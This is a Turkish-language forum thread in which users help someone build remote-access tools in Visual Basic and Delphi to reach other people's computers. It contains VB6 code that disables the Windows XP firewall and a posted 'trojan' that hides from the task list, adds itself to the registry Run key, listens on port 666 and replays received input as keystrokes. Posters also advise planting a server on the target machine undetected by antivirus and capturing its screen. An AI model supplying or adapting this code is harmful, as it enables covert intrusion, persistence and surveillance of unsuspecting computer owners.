bu ıstedıgın benzer bısey yaptım fakat delphıde sana basıtce sole anlayıtım bı server var bıde clıent serverı karsı tarafta calıstırman gerekıo ve sonra server verdıgın port u dınlemeye baslar daha sonra sendekı programla clıent e bı ıp bıde port numarası yazıp baglan dıyınce bu verdıgın ıp nın verdıgın portuna baglantı ıstegı gonderır ve baglanır servera baglanması ıcın sıfre falan da koyabılırsın burdan sonra bırbırlerıne mesajlar gondererk anlasmasını saglıcaksın mesela serverda bılgısayarımda c, d, bıde e var sen bunların adlarını o bılgısayardakı servera yazcan bunların ısmını clıente gondercen sonra clıenten yanıt beklıcen eger e ıse e nın ıcındekı klasorlerı gosterıceksın ve mesela gonder program fıles mesajjı geldıgını dusun eger mesajın basında gonder varsa strıngın gerı kalankısmını al o klasoru gonder seklınde fakat bır dosyayı karsıya nasıl gonderıceksın vb de pek bılmıyorum fakat delphıde streamlerle resım gondermıstım ılk once stream olusturuodun sonra server. sendstream turu komutlarla gonderıodun bıde onemlı bısey eger karsıya server yedırırsen o bılgısayarda port acman gereklı ve wındows uyarı verıo ızın verılsın mı falan dıe oyuzden clıent karsı tarafa yedırmenı onerırım benım yaptogom proje boyle ve hıcbır av sorun cıkartmıo ve karsı tarafın ekran goruntusunu alıp bana gonderıo sureklı hadı sana kolay gelsın

Aha hemen deniyom.

Öğrenmeye hevesi var arkadaşın baya Hepsini görmek için tıklayın... eet xD

Arkadaslar vbasic ile uzaktaki bilgisayarın dosyalarına nasıl erisirim. Karsı tarafın ip -modem sifresini ogrenememi saglıyıcak tarzta bi progrma yazmam mumkunmu + Yada bana uzakta iletisim protroklleri hakknda bilgi verebilirmisinz v. basicte tabiykide bi e -book ta olabilri. Yardımlarınızı beklyorum...

Dostum sana tavsiyem Visual basic ile bu işi yapmaya uğraşma. Ben geçen aylarda aşırı bir uğraşmalar sonucunda sadece ağda bulunan bilgisayarları kontrol edebildim. Socket öyle bildiğin basit uygulamalara benzemez. Şuanda yeni nesil trojan mantığı olan reverse connection olayını bi güzel araştır. Ben tam anlamıyla bu bağlantı modellemesini yaptım fakat kendi modemimin firewall ını kapatamadığım için başarısız oldum. Yeni nesil modemlerin firewalları kolay kolay müsaade etmiyorlar bağlantı isteği için. Etmesi için de bazı ayarları yapmak lazım. Tabi senin nasıl bağlanacağına bağlıdır. Eğer ters bağlantı olacak ise kendininkini, karşıya bağlanacaksan ki bu devirde bu biraz saçmalık olur o zaman karşı tarafın modeminin engelini aşmalısın Al sana yardım

disable window xp sp2 firewall Private Sub Command1_Click Dim fwMgr Set fwMgr = CreateObject Dim profile Set profile = fwMgr. LocalPolicy. CurrentProfile profile. FIREWALLENABLED = False End Sub Elimde böyle tek bir formluk proje var ama hiç test etmedim

hangi bilgileri alip-alamayacagini bilmem. fatihin tam dedigi gibi olmasada sogle winsock ile kodlanmis bir hazirkod yolluyorum, belki isine yarar. Önce trojan hakkında biraz bilgi vereyim. Trojan Windows her çalıştığında çalışıyor. CTRL+ALT+Del ekranında görünmüyor. Bu trojanı yiyen bilgisyara telnet ile bağlanabiliniyor. Bir visual basic projesi başlatın ve forma Microsoft Winsock Kontrolü ekleyin. Ve aşağıdaki kodları kontrolün bulundu u formun kod editörüne yapıştırın... Private Sub Form_Load App. TaskVisible = False ' Trojan Ctrl + Alt + Del ekranında görünmeyecek ' Buda programı(trojanı windows kayıt defterine ekler ve windows her ' açıldı ında çalışmasını sağlar. Dim KayitDefteri As Object Set KayitDefteri = CreateObject KayitDefteri. RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN" & App. EXEName, App. Path & "" & App. EXEName & ". exe" Winsock1. LocalPort = "666" ' bu trojanın portun belirtir. İsterseniz de iştirebilirsiniz. Winsock1. Listen 'Trojan bağlantıları dinliyor. Me. Hide End Sub Private Sub Winsock1_ConnectionRequest 'Winsock kontrolü kullanılıyor mu bak. If Winsock1. State <> sckClosed Then Winsock1. Close Winsock1. Accept requestID 'İstemci bilgisyar ba lantısını kabul et End Sub Private Sub Winsock1_Error 'Hata olmuşsa yada ba lantı kaybedilmişse, tekrar dinlemeye geçiliyor Winsock1. Close Winsock1. Listen End Sub Private Sub Winsock1_Close Winsock1. Close Winsock1. Listen End Sub Private Sub Winsock1_DataArrival Dim data1 As String Winsock1. GetData data1 DoEvents SendKeys data1 End Sub

Olur Fakat Çok Fazla Uğraşman Gerekli Çünkü Karşı Tarafa Server Yedirmen Lasım Server Nasıl Olur Diyorsan Winsock İle Olabilir Diye Düşünüyorum...

Dostum dediğim gibi firewall war ortada Onu aşman lazım ilk önce

Server yedirmekten kastın ne? gece gece gundurdun beni diyen arkadaslar konuya katkınız yok gulerek zaman kaybetiriyosunuz gulene kadar konu hakkında biseyler yazabiirsiniz Ayrıca diyelim ki bu konu biraz komplike ve ben oyle zannetmiyorum. Bu konuda en azından bellibaslı kitaplar onerebilirisniz winsock yada hernyse illaki soyle soyl yapılır demeniz yada yapmanızı beklemiyorum.

Kardeş Belki Dediğini Tam Anlamamışımdır Ama Bende Sana Bİşe Diim Asıl Yapcaksan vb de Yapcaksın Ben Bir Tane 2 Kodla Çok Güzel Bişe Yaptım Serverimı Oluşturdum Bağlantı Forumunuda Oluşturdum Bağlantı Krallar Gibi Sağlanıyo Belirli Porta Bağlı Kişileri Aramayıda Yaptım Adama Serveri Yedirmedende hangi portu açıksa o porttan ona bağlanıyorum xD 80 portunu tam araştırmadım ama 192.168.2.1 den 192.168.2.21 e kdr fln açık herkezde bi bağlanın derim isterseniz

gece gece beni guldurdun saolasin<.< iyi sallamissin

Ya arkadaslar bu programı kotu bi amac seklinde kullanmıcagım zaten yazdııgm programa ek bi parca olarak yerlestiricem fakat uzaktan erisim konusunda pek bise bilmediigmden bole bi ise kalkısmadım suan da az bucuk zamanım var ugrasıyorum. Guvenlik duvarını asamayı deniycez artık bi sekilde careler hic bi zaman tukenmez.. cok tessekurler arkadaslar yardımnz icin

Öğrenmeye hevesi var arkadaşın baya